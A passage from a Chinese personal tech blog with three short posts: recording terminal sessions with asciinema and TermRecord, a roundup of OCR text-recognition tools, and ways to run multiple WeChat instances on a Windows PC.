                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  5 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>平常出bug求助的时候有时候贴代码或者截图往往不直观，如果能重现给对方看就好了，这里推荐 2 个命令行的录制工具。</p>
<h3 id="asciinema"><a href="#asciinema" class="headerlink" title="asciinema"></a>asciinema</h3><p>网站<code>https://asciinema.org/</code>，github主页<a href="https://github.com/asciinema" target="_blank" rel="noopener">https://github.com/asciinema</a><br>直接使用 <code>pip install asciinema</code>来安装。<br> 执行<code>asciinema rec</code> 开始录制,录制完成后  exit 退出，可以保存到本地或者上传到 <code>https://asciinema.org</code>  。<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">[root@VM_0_14_centos ~]# asciinema rec</span><br><span class="line">asciinema: recording asciicast to /tmp/tmp1ua5a2rx-ascii.cast</span><br><span class="line">asciinema: press &lt;ctrl-d&gt; or type <span class="string">"exit"</span> when you<span class="string">'re done</span></span><br><span class="line"><span class="string">[root@VM_0_14_centos ~]# pwd</span></span><br><span class="line"><span class="string">/root</span></span><br><span class="line"><span class="string">[root@VM_0_14_centos ~]# cd /usr/share/nginx/html/</span></span><br><span class="line"><span class="string">[root@VM_0_14_centos html]# pip install asciinema</span></span><br><span class="line"><span class="string">DEPRECATION: Python 3.4 support has been deprecated. pip 19.1 will be the last one supporting it. Please upgrade your Python as Python 3.4 won'</span>t be maintained after March <span class="number">2019</span> (cf PEP <span class="number">429</span>).</span><br><span class="line">Looking <span class="keyword">in</span> indexes: http:<span class="comment">//mirrors.tencentyun.com/pypi/simple</span></span><br><span class="line">Requirement already satisfied: asciinema <span class="keyword">in</span> /usr/lib/python3<span class="number">.4</span>/site-packages (<span class="number">2.0</span><span class="number">.2</span>)</span><br><span class="line">You are using pip version <span class="number">19.0</span><span class="number">.3</span>, however version <span class="number">19.1</span><span class="number">.1</span> is available.</span><br><span class="line">You should consider upgrading via the <span class="string">'pip install --upgrade pip'</span> command.</span><br><span class="line">[root@VM_0_14_centos html]# pip list |grep ascii</span><br><span class="line">DEPRECATION: Python <span class="number">3.4</span> support has been deprecated. pip <span class="number">19.1</span> will be the last one supporting it. Please upgrade your Python <span class="keyword">as</span> Python <span class="number">3.4</span> won<span class="string">'t be maintained after March 2019 (cf PEP 429).</span></span><br><span class="line"><span class="string">asciinema              2.0.2</span></span><br><span class="line"><span class="string">You are using pip version 19.0.3, however version 19.1.1 is available.</span></span><br><span class="line"><span class="string">You should consider upgrading via the '</span>pip install --upgrade pip<span class="string">' command.</span></span><br><span class="line"><span class="string">[root@VM_0_14_centos html]# exit</span></span><br><span class="line"><span class="string">exit</span></span><br><span class="line"><span class="string">asciinema: recording finished</span></span><br><span class="line"><span class="string">asciinema: press &lt;enter&gt; to upload to asciinema.org, &lt;ctrl-c&gt; to save locally</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">View the recording at:</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    https://asciinema.org/a/AdnqMX0QfOg5c7USOtwHZ4Hz1</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">This installation of asciinema recorder hasn'</span>t been linked to any asciinema.org</span><br><span class="line">account. All unclaimed recordings (<span class="keyword">from</span> unknown installations like <span class="keyword">this</span> one)</span><br><span class="line">are automatically archived <span class="number">7</span> days after upload.</span><br><span class="line"></span><br><span class="line">If you want to preserve all recordings made on <span class="keyword">this</span> machine, connect <span class="keyword">this</span></span><br><span class="line">installation <span class="keyword">with</span> asciinema.org account by opening the following link:</span><br><span class="line"></span><br><span class="line">    https:<span class="comment">//asciinema.org/connect/01fb0f0e-c56a-450f-80ac-4020188dd957</span></span><br></pre></td></tr></table></figure></p>
<p> 录制过程在<a href="https://asciinema.org/a/AdnqMX0QfOg5c7USOtwHZ4Hz1" target="_blank" rel="noopener">https://asciinema.org/a/AdnqMX0QfOg5c7USOtwHZ4Hz1</a> 可以看到了。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-2c63f9c98c78d4ed.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br> 如果分享给他人可以用邮箱注册，它不需要密码就可以注册。我注册后的主页<a href="https://asciinema.org/~susheng" target="_blank" rel="noopener">https://asciinema.org/~susheng</a><br>然后打开这个链接 <a href="https://asciinema.org/connect/01fb0f0e-c56a-450f-80ac-4020188dd957" target="_blank" rel="noopener">https://asciinema.org/connect/01fb0f0e-c56a-450f-80ac-4020188dd957</a> 就会保存到你账号下。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-f7c40ae5768692a2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>设置为public 后可生成公开链接，可分享给他人观看，还可以嵌入到自己的网站。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-b5912fb223a74a81.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br><img src="https://upload-images.jianshu.io/upload_images/17817191-af4bf33fde51c8cd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>视频链接后加 .png 是视频截图 <a href="https://asciinema.org/a/254348.png" target="_blank" rel="noopener">https://asciinema.org/a/254348.png</a> ，而链接后加 .js 就可以直接嵌入网站了。<br> <figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;a href=<span class="string">"https://asciinema.org/a/254348"</span> target=<span class="string">"_blank"</span>&gt;&lt;img src="https://asciinema.org/a/254348.svg" /&gt;&lt;/a&gt;</span><br><span class="line">&lt;script src=<span class="string">"https://asciinema.org/a/254348.js"</span> id=<span class="string">"asciicast-254348"</span> <span class="keyword">async</span> data-autoplay=<span class="string">"true"</span> data-size=<span class="string">"big"</span>&gt;&lt;/script&gt;</span><br></pre></td></tr></table></figure></p>
<h3 id="TermRecord"><a href="#TermRecord" class="headerlink" title="TermRecord"></a>TermRecord</h3><p>TermRecord也是用 pip 安装 <code>pip install TermRecord</code>, 直接开始录制 <code>TermRecord -o termrecord.html</code>输入 exit 结束录制 。这个 termrecord.html 就是录制生成的文件，可以直接用浏览器打开。<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">[root@VM_0_14_centos html]# TermRecord -o termrecord.html</span><br><span class="line">Script started, file is /tmp/tmpdekpz_p2</span><br><span class="line">[root@VM_0_14_centos html]# pwd</span><br><span class="line">/usr/share/nginx/html</span><br><span class="line">[root@VM_0_14_centos html]# whoami</span><br><span class="line">root</span><br><span class="line">[root@VM_0_14_centos html]# pip install TermRecord</span><br><span class="line">DEPRECATION: Python <span class="number">3.4</span> support has been deprecated. pip <span class="number">19.1</span> will be the last one supporting it. Please upgrade your Python <span class="keyword">as</span> Python <span class="number">3.4</span> won<span class="string">'t be maintained after March 2019 (cf PEP 429).</span></span><br><span class="line"><span class="string">Looking in indexes: http://mirrors.tencentyun.com/pypi/simple</span></span><br><span class="line"><span class="string">Requirement already satisfied: TermRecord in /usr/lib/python3.4/site-packages (1.2.5)</span></span><br><span class="line"><span class="string">Requirement already satisfied: Jinja2&gt;=2.6 in /usr/lib64/python3.4/site-packages (from TermRecord) (2.10.1)</span></span><br><span class="line"><span class="string">Requirement already satisfied: MarkupSafe&gt;=0.23 in /usr/lib64/python3.4/site-packages (from Jinja2&gt;=2.6-&gt;TermRecord) (1.1.1)</span></span><br><span class="line"><span class="string">You are using pip version 19.0.3, however version 19.1.1 is available.</span></span><br><span class="line"><span class="string">You should consider upgrading via the '</span>pip install --upgrade pip<span class="string">' command.</span></span><br><span class="line"><span class="string">[root@VM_0_14_centos html]# pip list|grep Term</span></span><br><span class="line"><span class="string">DEPRECATION: Python 3.4 support has been deprecated. pip 19.1 will be the last one supporting it. Please upgrade your Python as Python 3.4 won'</span>t be maintained after March <span class="number">2019</span> (cf PEP <span class="number">429</span>).</span><br><span class="line">TermRecord             <span class="number">1.2</span><span class="number">.5</span></span><br><span class="line">You are using pip version <span class="number">19.0</span><span class="number">.3</span>, however version <span class="number">19.1</span><span class="number">.1</span> is available.</span><br><span class="line">You should consider upgrading via the <span class="string">'pip install --upgrade pip'</span> command.</span><br><span class="line">[root@VM_0_14_centos html]# exit</span><br><span class="line">exit</span><br><span class="line">Script done, file is /tmp/tmpdekpz_p2</span><br></pre></td></tr></table></figure></p>
<p>然后打开文件就可以看到录制过程了 <a href="http://118.24.158.116:8888/termrecord.html" target="_blank" rel="noopener">http://118.24.158.116:8888/termrecord.html</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-70fe211b10dbc15c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>另外还有个基于ruby的showterm和termtosvg就不演示了 <a href="http://showterm.io/" target="_blank" rel="noopener">http://showterm.io/</a>  <a href="https://github.com/nbedos/termtosvg" target="_blank" rel="noopener">https://github.com/nbedos/termtosvg</a></p>
<p>推荐阅读：</p>
<p><a href="https://mp.weixin.qq.com/s/-cSjrvkibYGp5Fx8gCTFuw" target="_blank" rel="noopener">那些你可能不知道的浏览器奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/eGDO0Y8el_dsEyriCoAgog" target="_blank" rel="noopener">那些你可能不知道的微信奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/j7VhoZXmUTnOWC5C_B8jlQ" target="_blank" rel="noopener">那些你可能不知道的微博奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/LtI2piwAIDXA590NEsXvuw" target="_blank" rel="noopener">那些你可能不知道的网易云音乐奇技淫巧</a></p>
<p> <a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483979&amp;idx=1&amp;sn=0735daa1d805b66d346ed0e8e60a841f&amp;scene=21#wechat_redirect" target="_blank" rel="noopener">那些你可能不知道的搜索奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483983&amp;idx=1&amp;sn=f0e1d9a8e22caf609d6c21431a530186&amp;chksm=e827a5aedf502cb8b72f2036054753fcfd9c20c28b9fbccdeae619a254a80e1024f18ba06523&amp;token=457023358&amp;lang=zh_CN#rd" target="_blank" rel="noopener">那些你可能不知道的视频下载奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/R3x-xZwqLIVwPjlgikDQ9A" target="_blank" rel="noopener">那些你可能不知道的免费观看 VIP 视频奇技淫巧</a></p>
<h3 id="公众号：苏生不惑"><a href="#公众号：苏生不惑" class="headerlink" title="公众号：苏生不惑"></a>公众号：苏生不惑</h3><p> <img src="https://upload-images.jianshu.io/upload_images/17817191-6e0079f95d4c0338.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="扫描二维码关注"></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/07/08/那些你可能不知道的-ocr-图片文字识别工具/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/07/08/那些你可能不知道的-ocr-图片文字识别工具/" itemprop="url">那些你可能不知道的 ocr 图片文字识别工具</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-08T20:20:18+08:00">
                2019-07-08
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  714 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  2 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>有时候网上看到一张图片，比如电影截图，里面有台词，想把台词复制出来，这时候你可能会照着图片中的文字，手动打出来，但如果文字太多或者一篇文章，这样你会崩溃的，这时候你就需要ocr了。</p>
<p>ocr是种光学字符识别技术，可以识别软件将图像中的文字转换成文本格式，这里推荐几种好用的ocr软件。</p>
<p>这里以电影《不能说的秘密》这张图片为例子，ps：如果想看这部电影公众号回复  不能说的秘密 获取。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-34f592d8a0c85481.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>图中的文字为：<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">我能遇见你已经是很不可思议了</span><br><span class="line">Being able to meet you has been incredible</span><br></pre></td></tr></table></figure></p>
<h3 id="天若OCR"><a href="#天若OCR" class="headerlink" title="天若OCR"></a>天若OCR</h3><p><a href="https://tianruoocr.cn/" target="_blank" rel="noopener">https://tianruoocr.cn/</a> 打开软件，双击截取需要识别的区域就好了，速度很快，效果可以。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-d1132550027726e6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>软件下载地址 公众号回复 ocr 获取。</p>
<h3 id="黑洞OCR"><a href="#黑洞OCR" class="headerlink" title="黑洞OCR"></a>黑洞OCR</h3><p>打开软件，很小巧。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-56c2ea83c04729c5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>点击选取需要截图的区域，它会默认打开一个文件显示识别的内容。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-2191d1a13dac0064.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>软件下载地址 公众号回复 ocr 获取。</p>
<p>另外一款跨平台的树洞  OCR 小工具 <a href="https://github.com/AnyListen/tools-ocr" target="_blank" rel="noopener">https://github.com/AnyListen/tools-ocr</a> </p>
<h3 id="白描"><a href="#白描" class="headerlink" title="白描"></a>白描</h3><p>白描，像猫一样灵动的ocr扫描识别神器。具备高准确度的文字识别、表格识别转Excel、批量识别、识别后翻译、文件扫描等功能。<br>网站<a href="https://baimiao.uzero.cn/" target="_blank" rel="noopener">https://baimiao.uzero.cn/</a> 这是个APP，我是不喜欢用APP的，有兴趣自己安装试试。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-6424e738119891a3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="在线识别"><a href="#在线识别" class="headerlink" title="在线识别"></a>在线识别</h3><p>网站 <a href="https://gongpeione.github.io/quick-js-ocr/example/" target="_blank" rel="noopener">https://gongpeione.github.io/quick-js-ocr/example/</a><br>打开网站直接上传图片或者粘贴图片等待一会就好，效果非常不错，没有一个错字。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-0bc393728d3e8498.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>类似的网站还有<a href="http://www.gkocr.com/web/index.html" target="_blank" rel="noopener">http://www.gkocr.com/web/index.html</a>  <a href="https://github.com/naptha/tesseract.js" target="_blank" rel="noopener">https://github.com/naptha/tesseract.js</a>   <a href="https://ocr.wdku.net/" target="_blank" rel="noopener">https://ocr.wdku.net/</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-b8b0604eccd6bbb1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="取字"><a href="#取字" class="headerlink" title="取字"></a>取字</h3><p>这是一个Chrome扩展 <a href="http://willingstudio.com/#install" target="_blank" rel="noopener">http://willingstudio.com/#install</a>  还是开源的 <a href="https://github.com/willing-Studio/willing-studio.github.io/" target="_blank" rel="noopener">https://github.com/willing-Studio/willing-studio.github.io/</a>  </p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-c673bec22cb54d32.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>经常刷微博可以看到这种长图，直接右键选择取字，真的方便。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-687f9defa1d9f5f2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="小程序"><a href="#小程序" class="headerlink" title="小程序"></a>小程序</h3><p>微软 ai 识图，支持拍照识别，上传图片，或者直接从微信聊天记录查找图片来识别，效果如下。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-7bd59b41d1e980d1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>其他类似的小程序还有 以图识字 ，讯飞快读，腾讯翻译君 。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-02f5103196c448a8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="小程序"></p>
<p>推荐阅读：</p>
<p><a href="https://mp.weixin.qq.com/s/-cSjrvkibYGp5Fx8gCTFuw" target="_blank" rel="noopener">那些你可能不知道的浏览器奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/eGDO0Y8el_dsEyriCoAgog" target="_blank" rel="noopener">那些你可能不知道的微信奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/j7VhoZXmUTnOWC5C_B8jlQ" target="_blank" rel="noopener">那些你可能不知道的微博奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/LtI2piwAIDXA590NEsXvuw" target="_blank" rel="noopener">那些你可能不知道的网易云音乐奇技淫巧</a></p>
<p> <a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483979&amp;idx=1&amp;sn=0735daa1d805b66d346ed0e8e60a841f&amp;scene=21#wechat_redirect" target="_blank" rel="noopener">那些你可能不知道的搜索奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483983&amp;idx=1&amp;sn=f0e1d9a8e22caf609d6c21431a530186&amp;chksm=e827a5aedf502cb8b72f2036054753fcfd9c20c28b9fbccdeae619a254a80e1024f18ba06523&amp;token=457023358&amp;lang=zh_CN#rd" target="_blank" rel="noopener">那些你可能不知道的视频下载奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/R3x-xZwqLIVwPjlgikDQ9A" target="_blank" rel="noopener">那些你可能不知道的免费观看 VIP 视频奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/sqRgMh4rxFBt5YxNtaa6dw" target="_blank" rel="noopener">那些你可能不知道的知乎奇技淫巧</a></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-393b26173c148690.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="免费星球"></p>
<h3 id="公众号：苏生不惑"><a href="#公众号：苏生不惑" class="headerlink" title="公众号：苏生不惑"></a>公众号：苏生不惑</h3><p> <img src="https://upload-images.jianshu.io/upload_images/17817191-6e0079f95d4c0338.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="扫描二维码关注"></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/07/08/如何在电脑上登陆多个微信/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/07/08/如何在电脑上登陆多个微信/" itemprop="url">如何在电脑上登陆多个微信</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-08T20:19:46+08:00">
                2019-07-08
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  677 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  2 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>电脑上习惯登录好几个QQ，像这样的。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-ab412be6302eedb1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>但pc端的微信软件默认只能登录一个微信，如果有多个微信怎么办呢？</p>
<h3 id="微信网页版"><a href="#微信网页版" class="headerlink" title="微信网页版"></a>微信网页版</h3><p>微信除了pc端的软件还有个微信网页版，地址是 <a href="https://wx.qq.com/" target="_blank" rel="noopener">https://wx.qq.com/</a> ，打开几个浏览器就能登录几个微信，一个浏览器当然也可以，开启隐身模式，见之前的文章<a href="https://mp.weixin.qq.com/s/-cSjrvkibYGp5Fx8gCTFuw" target="_blank" rel="noopener">那些你可能不知道的浏览器奇技淫巧</a> 。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-f68c8590031b7273.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>登录后<br><img src="https://upload-images.jianshu.io/upload_images/17817191-75676b4fc2039cd9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>还可以查看公众号文章。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-0cabf4ea40a7398e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>如果你觉得网页版样式不好看，可以安装个Chrome扩展把网页微信伪装成云笔记 <a href="https://github.com/YGYOOO/WeChat-Shelter" target="_blank" rel="noopener">https://github.com/YGYOOO/WeChat-Shelter</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-1167b3a7ad4d1103.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>使用后的效果<br><img src="https://upload-images.jianshu.io/upload_images/17817191-8415fb5544afae16.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="命令行"><a href="#命令行" class="headerlink" title="命令行"></a>命令行</h3><p>微信网页版虽然可以用，但是切换浏览器麻烦，而且不保存聊天记录，关闭后再登录就没有记录了。所以还是用pc端的软件比较好，它能保存所有聊天记录，图片和视频。</p>
<p>那如何能在pc端登录多个微信呢？</p>
<p>首先右击桌面的微信快捷方式，找到微信的安装目录，比如我的。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-70408f5695555f1f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>安装路径为 D:\wechat\WeChat.exe，将路径D:\wechat添加到环境变量。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-94298c8075d7f07b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>打开命令行执行<code>wechat &amp; wechat &amp; wechat</code>就可以打开3个微信了。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-d91b1e9cf8e0c8ce.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="批处理"><a href="#批处理" class="headerlink" title="批处理"></a>批处理</h3><p>如果觉得这样麻烦新建个批处理文件 <code>wechat.bat</code><br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">start   <span class="string">"D:\wechat\WeChat.exe"</span></span><br><span class="line">start   <span class="string">"D:\wechat\WeChat.exe"</span></span><br></pre></td></tr></table></figure></p>
<p>先关闭登录的微信，然后双击wechat.bat就可以登录2个微信了。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-acd98c7823b55383.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>登录后的效果。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-fa204cd566605225.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="win10应用商店"><a href="#win10应用商店" class="headerlink" title="win10应用商店"></a>win10应用商店</h3><p>如果你用的win10，还可以在应用商店安装<code>微信 For Windows</code> 地址 <a href="https://www.microsoft.com/zh-cn/p/%e5%be%ae%e4%bf%a1-for-windows/9nblggh4slx7?activetab=pivot:overviewtab" target="_blank" rel="noopener">https://www.microsoft.com/zh-cn/p/%e5%be%ae%e4%bf%a1-for-windows/9nblggh4slx7?activetab=pivot:overviewtab</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-c9379dd28a14f5c7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>这样有了2个软件就可以登录2个微信了。</p>
<p>除了上面这些方法还有第三方软件<a href="https://github.com/anhkgg/SuperWeChatPC" target="_blank" rel="noopener">https://github.com/anhkgg/SuperWeChatPC</a> 下载地址 <a href="https://raw.githubusercontent.com/anhkgg/SuperWeChatPC/master/bin/v1.1.3.zip" target="_blank" rel="noopener">https://raw.githubusercontent.com/anhkgg/SuperWeChatPC/master/bin/v1.1.3.zip</a><br>这个支持登录多个微信，还能消息防撤回，语音备份等。<br>mac系统推荐<a href="https://github.com/Sunnyyoung/WeChatTweak-macOS" target="_blank" rel="noopener">https://github.com/Sunnyyoung/WeChatTweak-macOS</a><br>下载源码后sudo make install就好了。<br>推荐阅读：</p>
<p><a href="https://mp.weixin.qq.com/s/-cSjrvkibYGp5Fx8gCTFuw" target="_blank" rel="noopener">那些你可能不知道的浏览器奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/eGDO0Y8el_dsEyriCoAgog" target="_blank" rel="noopener">那些你可能不知道的微信奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/j7VhoZXmUTnOWC5C_B8jlQ" target="_blank" rel="noopener">那些你可能不知道的微博奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/LtI2piwAIDXA590NEsXvuw" target="_blank" rel="noopener">那些你可能不知道的网易云音乐奇技淫巧</a></p>
<p> <a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483979&amp;idx=1&amp;sn=0735daa1d805b66d346ed0e8e60a841f&amp;scene=21#wechat_redirect" target="_blank" rel="noopener">那些你可能不知道的搜索奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483983&amp;idx=1&amp;sn=f0e1d9a8e22caf609d6c21431a530186&amp;chksm=e827a5aedf502cb8b72f2036054753fcfd9c20c28b9fbccdeae619a254a80e1024f18ba06523&amp;token=457023358&amp;lang=zh_CN#rd" target="_blank" rel="noopener">那些你可能不知道的视频下载奇技淫巧</a></p>
